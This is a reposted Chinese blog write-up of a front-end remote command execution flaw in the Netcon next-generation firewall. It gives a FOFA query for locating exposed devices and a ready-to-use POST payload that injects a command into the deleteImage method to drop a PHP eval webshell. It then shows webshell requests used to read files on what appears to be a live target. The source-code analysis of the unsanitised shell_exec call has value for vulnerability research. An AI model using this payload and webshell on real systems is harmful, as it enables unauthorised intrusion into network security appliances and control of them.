当前位置:   article > 正文

网康防火墙前台RCE PoC及漏洞分析_奇安信ns-ngfw 网康防火墙前台rce

奇安信ns-ngfw 网康防火墙前台rce

https://xz.aliyun.com/t/9495

漏洞描述

网康下一代防火墙(NGFW)是网康科技推出的一款可全面应对网络威胁的高性能应用层防火墙。凭借超强的应用识别能力,下一代防火墙可深入洞察网络流量中的用户、应用和内容,借助全新的高性能单路径异构并行处理引擎,在互联网出口、数据中心边界、应用服务前端等场景提供高效的应用层一体化安全防护,帮助用户安全地开展业务并降低安全成本。

这个洞是今年hvv期间爆出来的,危害很高,因此甲方baba要求我做一下分析的工作,好家伙,开局一个漏洞名称,报告内容全靠编,安排。

在网上找一条POC,开始怼,我尝试用该POC写入一句话连接蚁剑,但不知道是不是有段时间没用我的剑生锈了,死活连不上去,所幸写入一句话能执行命令,证明了漏洞真实存在以及POC有效,我只能在burp上纯命令的形式去审计跟踪代码(后来才反应过来为啥不反弹shell嘞)

fofa : app="网康科技-下一代防火墙"

    漏洞利用

    发送下面的POC即可在目标的/var/www/html/目录下创建名为test.php的文件,完事以后蚁剑直接去连即可(其余骚操作,大佬们安排起来)。

    POST /directdata/direct/router HTTP/1.1
    Host: X.X.X.X
    

    {
    “action”: “SSLVPN_Resource”,
    “method”: “deleteImage”,
    “data”:[{
    “data”:[“/var/www/html/b.txt;echo ‘<?php @eval($_POST[a]);?>’>/var/www/html/test.php”]
    }],
    “type”: “rpc”,
    “tid”: 17
    }

    解释一下上面的POC,主要是如下部分:

    "data":["/var/www/html/b.txt;echo '<?php @eval($_POST[a]);?>'>/var/www/html/test.php"]
    

    单看POC长这样我们大致就能猜出这是一个命令注入导致的RCE了。

    漏洞分析

    这个系统因为大部分站点的建构都是linux➕php➕Apache,是我最擅长的,因此直接上burp开始代码审计(主要是蚁剑死活连不上去,我只能苦逼的一遍遍的手敲命令)

    前期信息搜集

    首先看当前的路径以及目录下的文件:

    POST /test.php HTTP/1.1
    a=system('pwd');
    

    返回:

    HTTP/1.1 200 OK
    /var/www/html
    

    之后还有用ls、id、whoami等命令,就不一一列举,下面仅列出执行结果:

    ls执行结果:
    13bnKkNct.php
    CNVD20210413.txt
    P385Egd9Pe.php
    Reset_p2p_im.php
    RgQtlhQQS.php
    SqjHiRunF.php
    applications
    backup
    certs
    config
    css
    d18a2709431135f41eab9828d90c4bb6.html
    download
    dr4xVfDGs.php
    e130U453zx.php
    favicon.ico
    flag
    help
    images
    index.php
    js
    language
    libs
    m5KnfOOE42.php
    o9isu852j.txt
    p
    release
    scripts
    sslvpnindex
    successgoto
    test.php
    timetask
    tmp
    ukey
    yanbuguohengyang.txt
    

    id执行结果:
    uid=48(apache) gid=48(apache) groups=48(apache)

    whoami执行结果:
    apache

    OK,总结一句话,权限不高,但审计够了,继续....

    漏洞入口文件搜索

    接下来看看web根目录下哪个最有可能是controller文件夹或代码逻辑处理模块文件夹,其中applications文件夹很可疑,进去看一下:

    POST /test.php HTTP/1.1
    a=system('cd applications;ls');
    

    服务器返回:

    Models
    acc
    common
    dashboard
    directdata
    help
    log
    monitor
    network
    policy
    report
    sslvpn
    statistics
    syscustom
    system
    user
    usercenter
    

    可以看到上面的目录中包含了POC路径中的directdata文件夹,很可疑,跟下去:

    POST /test.php HTTP/1.1
    a=system('cd applications/directdata;ls');
    

    服务器返回:

    controllers
    

    很好,看到controllers这个文件夹,基本就稳了。

    继续跟:

    POST /test.php HTTP/1.1
    a=system('cd applications/directdata/controllers;ls');
    

    服务器返回:

    DirectController.php
    

    直接读这个文件:

    POST /test.php HTTP/1.1
    a=system('cat applications/directdata/controllers/DirectController.php');
    

    文件内容如下:

    <?php
    require_once BASE_PATH.'/applications/Models/Ext/Direct.php';
    class Directdata_DirectController extends Zend_Controller_Action {
        function routerAction() {
            header("Content-Type: application/json");
        $this->_helper->viewRenderer->setNoRender();
            $this->getResponse()->setBody(json_encode(
                 Ext_Direct::run($this->getRequest())
            ));
        }
    }
    

    结合POC中的/directdata/direct/router ,大致能够猜测出这套web系统的路由,directdata代表目录,direct代表文件名,应该是利用字符串拼接的形式实现的路径动态生成(没细看其他代码),

    看代码:

    $this->getResponse()->setBody(json_encode(
                 Ext_Direct::run($this->getRequest())
    

    调用了Ext_Direct::run函数去处理用户输入,搜索Ext_Direct类:

    POST /test.php HTTP/1.1
    a=system('find . -name "*.php"|xargs grep "class Ext_Direct"');
    

    返回结果:

    HTTP/1.1 200 OK
    ./applications/Models/Ext/Direct/RPCResult.php:class Ext_Direct_RPCResult {
    ./applications/Models/Ext/Direct/Controller.php:abstract class Ext_Direct_Controller extends Zend_Controller_Action {
    ./applications/Models/Ext/Direct/EventResult.php:class Ext_Direct_EventResult {
    ./applications/Models/Ext/Direct/ExceptionResult.php:class Ext_Direct_ExceptionResult {
    ./applications/Models/Ext/Direct/Request.php:class Ext_Direct_Request {
    ./applications/Models/Ext/Direct.php:class Ext_Direct {
    ./applications/Models/Ext/DirectException.php:class Ext_DirectException extends Exception {
    

    排除一下就知道应该是:

    ./applications/Models/Ext/Direct.php:class Ext_Direct {
    

    跟进该文件:

    POST /test.php HTTP/1.1
    a=system('cat applications/Models/Ext/Direct.php');
    

    返回:

    <?php
    class Ext_Direct {
        const REMOTING = 'remoting';
        const URL = '/directdata/direct/router';
        const enableBuffer  = 10;
        public static function describe($classes) {
            if (!is_array($classes)) {
                $classes = array($classes);
            }
            $ret = array();
            foreach ($classes as $class) {
                if (!class_exists($class))
                    throw new Exception('class not found ' . $class);
                $reflection = new ReflectionClass($class);
                $methods = $reflection->getMethods();
                $methodData = array();
                foreach ($methods as $m)
                    if ($m->isPublic() && !$m->isStatic())
                        $methodData[] = array(
                            'name' => $m->getName(), 
                            'len' => $m->getNumberOfParameters()
                        );
                $ret[] = array(
                    'timeout' => $reflection->hasConstant('timeout')?$reflection->getConstant('timeout') : 1800000, // half an hour
                    'url' => self::URL,
                    'type' => self::REMOTING,
                    'enableBuffer' => $reflection->hasConstant('enableBuffer')?$reflection->getConstant('enableBuffer') : self::enableBuffer,
                    'actions' => array($class => $methodData)
                );
            }
            return $ret;
        }
        public static function run($request) {
            $extRequest = Ext_Direct_Request::factory($request);
            if (!$extRequest)
                throw new Exception('illegal parameters');
            if (!is_array($extRequest))
                $extRequest = array($extRequest);
            $ret = array();
            $daos = array();
            foreach ($extRequest as $r) {
                $c = $r->getAction();
                if (!$c)
                    throw new Exception('class not found');
                if (!isset($daos[$c]))
                    $daos[$c] = new $c();
                $dao = $daos[$c];
            //  $argtest = $r->getArguments();
            //  $testInfo =  $r->getMethod().'->'.$argtest[0]->type;
            //  $startTime = micsecond();
    //          Ns_debug_log($dao,'x5.log',false);
                if (!method_exists($dao, $r->getMethod()))
                    throw new Exception('method not found');
                try {
                    if ($request->getParam('extDirectException'))
                        throw new Ext_DirectException($request->extDirectException);
                    $ret[] = new Ext_Direct_RPCResult(
                        $r->getTID(),
                        $r->getAction(),
                        $r->getMethod(),
                        call_user_func_array(
                            array($dao, $r->getMethod()), $r->getArguments()
                        )
                    );
                } catch (Ext_DirectException $e) {
                    $ret[] = new Ext_Direct_ExceptionResult(
                        $r->getTID(),
                        $r->getAction(),
                        $r->getMethod(),
                        $e->getMessage()
                    );
                } catch (Exception $e) {
                    $ret[] = new Ext_Direct_ExceptionResult(
                        $r->getTID(),
                        $r->getAction(),
                        $r->getMethod(),
                        $e->getMessage()
                    );
                }
            //  Ns_debug_log((micsecond()-$startTime).date('Y-m-d H:i:s').','.$c.','.$testInfo.','.getenv('REMOTE_ADDR'),'fast.log',false);
            }
            return $ret;
        }
    }
    

    排除掉多余的干扰因素,直接找run方法:

    <?php
    ....
    ....
    public static function run($request) {
      // 解析用户输入
            $extRequest = Ext_Direct_Request::factory($request);
            if (!$extRequest)
                throw new Exception('illegal parameters');
            if (!is_array($extRequest))
                $extRequest = array($extRequest);
            $ret = array();
            $daos = array();
            foreach ($extRequest as $r) {
                $c = $r->getAction();
                if (!$c)
                    throw new Exception('class not found');
                if (!isset($daos[$c]))
                    $daos[$c] = new $c();
                $dao = $daos[$c];
            //  $argtest = $r->getArguments();
            //  $testInfo =  $r->getMethod().'->'.$argtest[0]->type;
            //  $startTime = micsecond();
    //          Ns_debug_log($dao,'x5.log',false);
          // 简单检查以下接下来要用的变量是否存在
                if (!method_exists($dao, $r->getMethod()))
                    throw new Exception('method not found');
                try {
                    if ($request->getParam('extDirectException'))
                        throw new Ext_DirectException($request->extDirectException);
                    $ret[] = new Ext_Direct_RPCResult(
                        $r->getTID(),
                        $r->getAction(),
                        $r->getMethod(),
              // call_user_func_array函数对用户可控函数及参数值进行直接运行
                        call_user_func_array(
                            array($dao, $r->getMethod()), $r->getArguments()
                        )
                    );
                } 
    ....
    ....
    ?>
    

    回顾一下POC:

    {
        "action": "SSLVPN_Resource",
        "method": "deleteImage",
        "data":[{
          "data":["/var/www/html/b.txt;echo '<?php @eval($_POST[a]);?>'>/var/www/html/test.php"]
        }],
        "type": "rpc",
        "tid": 17
    }
    

    结合之前对路由的分析,可以大致推断出action代表类名,method代表方法名,data则是方法是参数,接下来需要搜索SSLVPN_Resource类的deleteImage方法:

    POST /test.php HTTP/1.1
    a=system('find . -name "*.php"|xargs grep "class SSLVPN_Resource "');
    

    返回:

    HTTP/1.1 200 OK
    ./applications/Models/SSLVPN/Resource.php:class SSLVPN_Resource extends ConfigCommon_Abstract {
    

    跟进去:

    POST /test.php HTTP/1.1
    a=system('cat applications/Models/SSLVPN/Resource.php');
    

    返回内容过长,下面就截取关键的一小段代码,直接搜deleteImage方法:

    <?php 
    ...
    ...
    public function deleteImage($params){
            $basePath = '/var/www/html/';
            $imgPath = $this->imagePath;
            $params = $params->data;
            $cmd = "cd $imgPath \n /bin/rm -rf ";
            $existDefault=false;
            foreach ($params as $img){
                if($img=='default.png'){
                    $existDefault=true;
                }else{
                    $cmd.=$img.' ';
                }
            }
            Ns_debug_log($cmd,'x.log');
            shell_exec($cmd);
    ...
    ...
    ?>
    

    可以看到,直接从参数$params中取出data部分,与$cmd参数拼接,然后直接带入了shell_exec($cmd);执行,期间没有做任何安全过滤,因此当用户输入中使用分号即可分隔命令完成命令注入从而远程命令执行。

    分析完毕,报告拿给甲方baba看,甲方baba很满意,摸摸我的头,说晚饭加鸡腿。

    声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/2023面试高手/article/detail/150733
    推荐阅读
    相关标签
      

    闽ICP备14008679号